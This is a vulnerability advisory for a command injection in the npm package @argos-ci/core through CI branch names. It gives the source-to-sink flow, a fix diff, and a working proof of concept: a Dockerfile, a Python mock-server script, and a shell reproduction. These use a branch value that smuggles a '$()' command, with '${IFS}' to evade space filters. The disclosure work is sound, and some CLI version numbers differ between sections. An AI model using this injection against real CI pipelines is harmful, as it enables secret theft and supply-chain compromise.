PT-2026-89735 · Npm · @Argos-Ci/Core

CVE-2026-59960

·

Published

2026-09-10

·

Updated

2026-09-10

CVSS v3.1

7.5

High

VectorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CI Branch Name OS Command Injection in @argos-ci/core

Summary

@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).

Details

The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
ts
function gitFetch(input: { ref: string; depth: number; target: string }) {
 execSync(
  `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
 );
}
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
ts
execSync(`git merge-base ${input.head} ${input.base}`)
Complete data flow (source → sink):
  1. packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUB HEAD REF without validation (source).
  2. packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context.
  3. packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch.
  4. packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.
  5. packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.
  6. packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch().
  7. packages/core/src/ci-environment/git.ts:89sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
diff
-import { execSync } from "node:child process";
+import { execFileSync, execSync } from "node:child process";

 function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
-  `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+  "fetch", "--force", "--update-head-ok",
+  "--depth", String(input.depth),
+  "origin", `${input.ref}:${input.target}`,
+ ]);
 }

 function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
 }

PoC

Prerequisites:
  • Docker installed on the test machine.
  • Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.
Step 1 — Build the Docker image:
bash
docker build -t argos-vuln-001 
 -f /path/to/vuln-001/Dockerfile 
 /path/to/reports/npmAI 634 argos-ci argos-javascript/
The Dockerfile:
  • Uses node:22 as the base.
  • Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
  • Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
  • Copies poc.py as the container entrypoint.
Step 2 — Run the container:
bash
docker run --rm argos-vuln-001
What the PoC (poc.py) does:
  1. Starts a local HTTP mock server on 127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.
  2. Sets ARGOS BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc).
  • $(...) is shell command substitution.
  • ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.
  1. Runs argos upload <empty-dir> --files '*.png' with the malicious environment.
  2. Checks for the marker file /tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
bash
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git

# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
 if (req.url === '/v2/project') {
  res.writeHead(200, {'content-type':'application/json'});
  res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
  return;
 }
 res.writeHead(200, {'content-type':'application/json'});
 res.end('{}');
}).listen(7777);
" &

mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS API BASE URL=http://127.0.0.1:7777/v2/ 
ARGOS TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
ARGOS COMMIT=0123456789abcdef0123456789abcdef01234567 
ARGOS BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' 
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true

test -f /tmp/argos-ci-cve-poc && echo "COMMAND EXECUTED"

Impact

This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB HEAD REF / ARGOS BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
  • Any organization using @argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.
  • The risk is highest in pull request target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.
  • Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.

Reproduction artifacts

Dockerfile

dockerfile
FROM node:22

# Install git and Python 3
RUN apt-get update && 
  apt-get install -y --no-install-recommends git python3 && 
  rm -rf /var/lib/apt/lists/*

# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && 
  git config --global user.name "PoC Test" && 
  git config --global init.defaultBranch main

# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git

# Create the working repository with the bare repo as origin
RUN git init /git-workspace && 
  cd /git-workspace && 
  git remote add origin /remote.git && 
  echo "initial" > README.md && 
  git add README.md && 
  git commit -m "Initial commit" && 
  git branch -M main && 
  git push -u origin main

# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo

# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn

# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py

# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace

ENTRYPOINT ["python3", "/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0

Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.

Attack chain (source -> sink):
 env.GITHUB HEAD REF / ARGOS BRANCH
  -> config.ts:119-122 (String cast, no sanitisation)
  -> upload.ts:285  getMergeBaseCommitSha({ head: config.branch })
  -> git.ts:123   gitFetch({ ref: input.head, ... })
  -> git.ts:89    execSync(`git fetch ... origin ${input.ref}:${input.target}`)
            ^^^^^^^^ shell injection sink

This script:
 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
   for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
 2. Invokes the argos CLI with ARGOS BRANCH set to a malicious value
   containing a $() command substitution.
 3. Checks for a filesystem artefact that proves execution.
"""

import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# File created by the injected command -- its existence proves execution.
MARKER FILE = "/tmp/argos-ci-cve-poc"

# Port for the mock Argos API server.
MOCK PORT = 7777


class MockArgosAPI(BaseHTTPRequestHandler):
  """Minimal mock of the Argos REST API.

  Only two responses matter:
  - GET /v2/project -- must return hasRemoteContentAccess=false to trigger
             the git-based merge-base discovery code-path.
  - POST /v2/builds -- needs to return a recognisable structure so the SDK
             does not abort before we can observe the side-effect.
  """

  def log message(self, fmt, *args):
    # Suppress per-request log noise; PoC progress messages are enough.
    pass

  def send json(self, status: int, body: dict) -> None:
    raw = json.dumps(body).encode()
    self.send response(status)
    self.send header("Content-Type", "application/json")
    self.send header("Content-Length", str(len(raw)))
    self.end headers()
    self.wfile.write(raw)

  def do GET(self):
    if self.path.rstrip("/") == "/v2/project":
      # hasRemoteContentAccess=false is the precondition that makes the
      # SDK call getMergeBaseCommitSha() instead of fetching from the
      # Git provider API. This is the key to reaching the sink.
      self. send json(200, {
        "id": "proj-1",
        "defaultBaseBranch": "main",
        "hasRemoteContentAccess": False,
      })
    else:
      self. send json(200, {})

  def do POST(self):
    # Drain request body to keep the connection clean.
    length = int(self.headers.get("Content-Length", 0))
    self.rfile.read(length)
    if "/builds" in self.path:
      # Return the minimal structure the SDK dereferences after POST /builds.
      self. send json(201, {
        "id": "build-1",
        "url": "http://localhost/build/1",
        "screenshots": [],
        "pwTraces": [],
      })
    else:
      self. send json(200, {})

  def do PUT(self):
    length = int(self.headers.get("Content-Length", 0))
    self.rfile.read(length)
    self. send json(200, {})


def start mock server() -> HTTPServer:
  server = HTTPServer(("127.0.0.1", MOCK PORT), MockArgosAPI)
  thread = threading.Thread(target=server.serve forever, daemon=True)
  thread.start()
  return server


def main():
  print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
  print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
  print()

  # Remove any stale marker from a previous run.
  if os.path.exists(MARKER FILE):
    os.remove(MARKER FILE)

  # Start the mock Argos API.
  server = start mock server()
  print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK PORT}")

  # Build the malicious branch name.
  # Breakdown:
  #  main       -- valid branch prefix so git ref looks plausible
  #  $(...)      -- shell command substitution, evaluated by /bin/sh
  #  touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
  #            filters and forming "touch <path>"
  malicious branch = f"main$(touch${{IFS}}{MARKER FILE})"
  print(f"[*] Malicious ARGOS BRANCH value: {malicious branch}")
  print(f"[*] Expected shell expansion: touch {MARKER FILE}")
  print()

  # Empty upload directory -- no real screenshots needed. The injection
  # occurs during merge-base discovery before any upload loop runs.
  upload dir = "/tmp/argos-empty-upload"
  os.makedirs(upload dir, exist ok=True)

  env = dict(os.environ)
  env.update({
    "ARGOS API BASE URL": f"http://127.0.0.1:{MOCK PORT}/v2/",
    "ARGOS TOKEN": "a" * 40,
    "ARGOS COMMIT": "0" * 40,
    "ARGOS BRANCH": malicious branch,
    # Disable update-notifier noise inside the CLI.
    "NO UPDATE NOTIFIER": "1",
  })

  print("[*] Running: argos upload <empty-dir> --files '*.png'")
  result = subprocess.run(
    ["argos", "upload", upload dir, "--files", "*.png"],
    env=env,
    capture output=True,
    text=True,
    # CWD must be a git repository with an 'origin' remote so that
    # git fetch has a valid context. /git-workspace is prepared in the
    # Dockerfile for this purpose.
    cwd="/git-workspace",
  )

  print(f"[*] CLI exit code : {result.returncode}")
  if result.stdout.strip():
    print(f"[*] CLI stdout  : {result.stdout.strip()[:600]}")
  if result.stderr.strip():
    print(f"[*] CLI stderr  : {result.stderr.strip()[:600]}")

  server.shutdown()
  print()

  # --- Verdict ---
  if os.path.exists(MARKER FILE):
    print("=" * 60)
    print("[PASS] VULNERABILITY CONFIRMED")
    print(f"[PASS] Marker file exists: {MARKER FILE}")
    print("[PASS] The shell command injected via ARGOS BRANCH was executed")
    print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
    print("=" * 60)
    sys.exit(0)
  else:
    print("=" * 60)
    print("[FAIL] Marker file not found -- injection did not trigger.")
    print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
    print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
    print("=" * 60)
    sys.exit(1)


if  name  == " main ":
  main()

Fix

OS Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-59960
GHSA-4X45-GXVP-6283

Affected Products

@Argos-Ci/Core